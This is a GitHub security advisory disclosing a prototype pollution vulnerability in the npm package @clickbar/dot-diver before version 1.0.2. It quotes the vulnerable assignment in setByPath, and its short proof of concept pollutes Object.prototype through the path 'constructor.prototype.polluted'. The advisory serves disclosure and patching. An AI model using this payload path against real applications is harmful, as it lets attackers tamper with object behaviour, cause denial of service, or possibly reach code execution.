GHSA-9w5f-mw3p-pj47
Prototype Pollution(PP) vulnerability in setByPath
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @clickbar/dot-diver | < 1.0.2 | 1.0.2 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
There is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE.
### Details
```javascript
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
// eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value
```
In this code, there is no validation for Prototpye Pollution.
### PoC
```javascript
import { getByPath, setByPath } from '@clickbar/dot-diver'
console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo
```
### Impact
It is Prototype Pollution(PP) and it can leads to Dos, RCE, etc.
### Credits
Team : NodeBoB
최지혁 ( Jihyeok Choi )
이동하 ( Lee Dong Ha of ZeroPointer Lab )
강성현 ( kang seonghyeun )
박성진 ( sungjin park )
김찬호 ( Chanho Kim )
이수영 ( Lee Su Young )
김민욱 ( MinUk Kim )
References
External links from the advisory. They lead to third-party sites.
- https://github.com/clickbar/dot-diver/security/advisories/GHSA-9w5f-mw3p-pj47
- https://nvd.nist.gov/vuln/detail/CVE-2023-45827
- https://github.com/clickbar/dot-diver/commit/9790834cf4c2bca75db00e588e58056dacaf602f
- https://github.com/clickbar/dot-diver/commit/98daf567390d816fd378ec998eefe2e97f293d5a
- https://github.com/clickbar/dot-diver